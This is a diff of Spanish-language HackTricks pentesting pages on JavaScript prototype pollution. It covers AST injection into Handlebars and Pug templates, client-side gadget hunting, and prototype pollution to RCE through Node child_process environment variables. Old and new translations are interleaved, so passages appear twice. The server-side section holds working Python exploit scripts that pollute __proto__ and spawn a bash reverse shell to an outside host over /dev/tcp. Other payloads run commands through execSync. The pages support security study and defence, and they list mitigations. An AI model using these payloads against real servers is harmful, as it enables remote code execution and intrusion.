||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
return this;
|
||||
}
|
||||
```
|
||||
El compilador toma el objeto AST (en realidad una cadena) y lo envía al método `accept`.\
|
||||
`accept` llama a `this[node.type]` del compilador.\
|
||||
Luego toma el atributo `body` del AST y lo utiliza para construir una función.
|
||||
El compilador, dado el objeto AST (en realidad una cadena), lo envía al método `accept`.\
|
||||
y `accept` llama a `this[node.type]` del compilador.\
|
||||
Luego toma el atributo body del AST y lo utiliza para construir la función.
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
Object.prototype.type = 'Program';
|
||||
Object.prototype.body = [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}];
|
||||
|
||||
|
||||
|
@ -451,26 +411,26 @@ console.log(eval('(' + template + ')')['main'].toString());
|
|||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
||||
*/
|
||||
```
|
||||
Como resultado, un ataque puede ser configurado de la siguiente manera. Si se ha pasado por el analizador, se especifica una cadena que no puede ser asignada al valor de NumberLiteral. Pero si se procesa el AST inyectado, podemos insertar cualquier código en la función.
|
||||
Como resultado, un ataque puede configurarse de esta manera. Si has pasado por el analizador, especifica una cadena que no pueda asignarse al valor de NumberLiteral. Pero una vez procesado el AST inyectado, podemos insertar cualquier código en la función.
|
||||
|
||||
**Ejemplo**
|
||||
|
||||
|
@ -482,19 +442,19 @@ TARGET_URL = 'http://p6.is:3000'
|
|||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
"__proto__.type": "Program",
|
||||
"__proto__.body": [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}]
|
||||
"__proto__.type": "Program",
|
||||
"__proto__.body": [{
|
||||
"type": "MustacheStatement",
|
||||
"path": 0,
|
||||
"params": [{
|
||||
"type": "NumberLiteral",
|
||||
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}],
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
}]
|
||||
})
|
||||
|
||||
# execute
|
||||
|
@ -510,10 +470,10 @@ TARGET_URL = 'http://p6.is:3000'
|
|||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
"__proto__.block": {
|
||||
"type": "Text",
|
||||
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}
|
||||
"__proto__.block": {
|
||||
"type": "Text",
|
||||
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
|
||||
}
|
||||
})
|
||||
|
||||
# execute
|
||||
|
@ -523,10 +483,10 @@ requests.get(TARGET_URL)
|
|||
|
||||
* Congelar propiedades con Object.freeze (Object.prototype)
|
||||
* Realizar validación en las entradas JSON de acuerdo con el esquema de la aplicación
|
||||
* Evitar el uso de funciones de combinación recursiva de manera insegura
|
||||
* Evitar el uso de funciones de fusión recursiva de manera insegura
|
||||
* Usar objetos sin propiedades de prototipo, como `Object.create(null)`, para evitar afectar la cadena de prototipos
|
||||
* Usar `Map` en lugar de `Object`
|
||||
* Actualizar regularmente nuevos parches para las bibliotecas
|
||||
* Actualizar regularmente nuevos parches para bibliotecas
|
||||
|
||||
## Referencia
|
||||
|
||||
|
@ -536,12 +496,14 @@ requests.get(TARGET_URL)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,26 @@
|
|||
# Polución de Prototipos en el Lado del Cliente
|
||||
# Contaminación de Prototipos en el Cliente
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Descubriendo usando herramientas automáticas
|
||||
## Descubrimiento usando Herramientas Automáticas
|
||||
|
||||
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden utilizar para **encontrar vulnerabilidades de polución de prototipos**.
|
||||
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) pueden ser utilizadas para **encontrar vulnerabilidades de contaminación de prototipos**.
|
||||
|
||||
Además, también puedes usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** a las que accedes en busca de vulnerabilidades de polución de prototipos.
|
||||
Además, también podrías usar la **extensión de navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
|
||||
|
||||
### Depuración de dónde se utiliza una propiedad <a href="#5530" id="5530"></a>
|
||||
### Depurando dónde se utiliza una propiedad <a href="#5530" id="5530"></a>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -30,15 +32,15 @@ return 'test';
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Encontrando la causa raíz de la Inyección de Prototipo <a href="#5530" id="5530"></a>
|
||||
### Encontrando la causa raíz de Prototype Pollution <a href="#5530" id="5530"></a>
|
||||
|
||||
Una vez que alguna de las herramientas haya **identificado** una **vulnerabilidad de inyección de prototipo**, si el **código** no es muy **complejo**, puedes **buscar** en el código JS las palabras clave **`location.hash/decodeURIComponent/location.search`** en las Herramientas de Desarrollo de Chrome y encontrar el lugar vulnerable.
|
||||
Una vez que alguna de las herramientas haya **identificado** una **vulnerabilidad de prototype pollution**, si el **código** **no** es muy **complejo**, puedes **buscar** en el código JS las **palabras clave** **`location.hash/decodeURIComponent/location.search`** en las Herramientas para Desarrolladores de Chrome y encontrar el lugar vulnerable.
|
||||
|
||||
Si el código es grande y complejo, hay una manera fácil de **descubrir dónde está el código vulnerable**:
|
||||
|
||||
* Usando una de las herramientas, **encuentra una vulnerabilidad** y obtén un **payload** que establecerá una propiedad en el constructor. En ppmap se te dará algo como: `constructor[prototype][ppmap]=reserved`
|
||||
* Ahora, establece un **punto de interrupción en la primera línea de código JS** que se va a ejecutar en la página y actualiza la página con el payload para que la **ejecución se detenga allí**.
|
||||
* Mientras la ejecución de JS está detenida, **pega el siguiente script en la consola de JS**. Este código indicará cuando se crea la propiedad 'ppmap', para que puedas encontrar dónde se creó.
|
||||
* Usando una de las herramientas **encuentra una vulnerabilidad** y obtén un **payload** que **establecerá una propiedad** en el constructor. En ppmap se te dará algo como: `constructor[prototype][ppmap]=reserved`
|
||||
* Ahora, establece un **punto de interrupción en la primera línea de código JS** que se va a ejecutar en la página, y actualiza la página con el payload para que la **ejecución se pause allí**.
|
||||
* Mientras la ejecución de JS está pausada **pega el siguiente script en la consola JS**. Este código indicará una vez que la propiedad 'ppmap' sea creada, así podrás encontrar dónde fue creada.
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
@ -60,30 +62,30 @@ return origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
Vuelve a **Fuentes** y haz clic en "Reanudar" la **ejecución** del script. Después de hacer eso, todo el **javascript** se ejecutará y ppmap se volverá a contaminar como se esperaba. Con la ayuda del Fragmento, podemos encontrar exactamente dónde se contamina la propiedad ppmap. Podemos hacer clic en la **Pila de llamadas** y te encontrarás con diferentes pilas donde ocurrió la contaminación.
|
||||
Regresa a **Sources** y haz clic en “**Resume** script **execution**”. Después de hacerlo, todo el **javascript** se **ejecutará** y ppmap se contaminará de nuevo como se esperaba. Con la ayuda del Fragmento podemos encontrar dónde exactamente se contamina la propiedad ppmap. Podemos **hacer clic** en el **Call** **Stack** y te enfrentarás a **diferentes** **pilas** donde la **contaminación** **ocurrió**.
|
||||
|
||||
Pero ¿cuál elegir? La mayoría de las veces, la Contaminación de Prototipos ocurre en bibliotecas de Javascript, así que apunta a la pila que está adjunta a los archivos de biblioteca .js (mira el lado derecho, al igual que en la imagen, para saber a qué punto final está adjunta la pila). En este caso, tenemos 2 pilas en la línea 4 y 6, lógicamente elegiremos la línea 4 porque esa línea es la primera vez que ocurre la Contaminación, lo que significa que esta línea es la causa de la vulnerabilidad. Haciendo clic en la pila, seremos redirigidos al código vulnerable.
|
||||
¿Pero cuál elegir? La mayoría de las veces, la Contaminación de Prototipos ocurre en bibliotecas de Javascript, así que apunta a la pila que está adjunta a los archivos de biblioteca .js (mira al lado derecho, como en la imagen, para saber a qué punto final está adjunta la pila). En este caso tenemos 2 pilas en la línea 4 y 6, lógicamente elegiremos la línea 4 porque esa línea es la primera vez que ocurre la Contaminación, lo que significa que esta línea es la razón de la vulnerabilidad. Hacer clic en la pila nos redirigirá al código vulnerable.
|
||||
|
||||
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
## Encontrar Gadgets de Script
|
||||
## Encontrando Gadgets de Script
|
||||
|
||||
El gadget es el **código que se aprovechará una vez que se descubra una vulnerabilidad de PP**.
|
||||
El gadget es el **código que será abusado una vez que se descubre una vulnerabilidad de PP**.
|
||||
|
||||
Si la aplicación es sencilla, podemos **buscar** palabras clave como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente para comprobar si conduce a la ejecución de javascript. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos gadgets interesantes como el siguiente ejemplo.
|
||||
Si la aplicación es simple, podemos **buscar** **palabras clave** como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente y verificar si **conduce a la ejecución de javascript**. A veces, las técnicas mencionadas podrían no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos gadgets interesantes como el siguiente ejemplo.
|
||||
|
||||
### Ejemplo de encontrar un gadget de PP en el código de la biblioteca Mithil
|
||||
|
||||
Consulta este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
Revisa este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
## Recompilación de payloads para bibliotecas vulnerables
|
||||
|
||||
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## Bypass de sanitizadores HTML mediante PP
|
||||
## Bypass de Sanitizadores HTML vía PP
|
||||
|
||||
[**Esta investigación**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) muestra gadgets de PP que se pueden utilizar para **burlar las sanitizaciones** proporcionadas por algunas bibliotecas de sanitizadores HTML:
|
||||
[**Esta investigación**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) muestra gadgets de PP para usar para **evitar las sanitizaciones** proporcionadas por algunas bibliotecas de sanitizadores HTML:
|
||||
|
||||
* #### sanitize-html
|
||||
|
||||
|
@ -122,12 +124,14 @@ document.body.append(node);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Prototype Pollution para RCE
|
||||
# De la Contaminación de Prototipos a RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Código Vulnerable
|
||||
|
||||
Imagina un JS real que utiliza un código como el siguiente:
|
||||
Imagina un JS real utilizando algún código como el siguiente:
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -49,9 +51,9 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE a través de variables de entorno
|
||||
|
||||
**PP2RCE** significa **Prototype Pollution to RCE** (Ejecución Remota de Código).
|
||||
**PP2RCE** significa **Prototype Pollution a RCE** (Ejecución de Código Remoto).
|
||||
|
||||
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando se crea un **proceso** con algún método de **`child_process`** (como `fork` o `spawn` u otros), se llama al método `normalizeSpawnArguments`, el cual utiliza un **gadget de prototype pollution para crear nuevas variables de entorno**:
|
||||
De acuerdo con este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es iniciado** con algún método de **`child_process`** (como `fork`, `spawn` u otros) se llama al método `normalizeSpawnArguments` el cual es un **gadget de prototype pollution para crear nuevas variables de entorno**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
|
@ -71,17 +73,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||
}
|
||||
}
|
||||
```
|
||||
Verifica ese código y podrás ver que es posible envenenar `envPairs` simplemente **contaminando** el atributo `.env`.
|
||||
Revisa ese código, puedes ver que es posible **envenenar `envPairs`** simplemente **contaminando** el **atributo `.env`.**
|
||||
|
||||
### Contaminando `__proto__`
|
||||
### **Envenenando `__proto__`**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de Node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.
|
||||
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.\
|
||||
Por ejemplo, si haces `__proto__.avar="valuevar"`, el proceso se iniciará con una variable llamada `avar` con el valor `valuevar`.
|
||||
|
||||
Sin embargo, para que la **variable de entorno sea la primera**, debes **contaminar** el atributo **`.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
|
||||
Sin embargo, para que la **variable de entorno sea la primera**, necesitas **contaminar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
|
||||
|
||||
Por eso **`NODE_OPTIONS`** no está dentro de `.env` en el siguiente ataque.
|
||||
Es por eso que **`NODE_OPTIONS`** **no está dentro de `.env`** en el siguiente ataque.
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -106,9 +108,7 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Envenenando `constructor.prototype`
|
||||
### Envenenamiento de `constructor.prototype`
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -131,10 +131,10 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE a través de variables de entorno + línea de comandos
|
||||
|
||||
Se propuso una carga útil similar a la anterior con algunos cambios en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
|
||||
Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
|
||||
|
||||
* En lugar de almacenar la **carga útil** de nodejs dentro del archivo `/proc/self/environ`, se almacena dentro de **argv0** de **`/proc/self/cmdline`**.
|
||||
* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, se **requiere `/proc/self/cmdline`**.
|
||||
* En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
|
||||
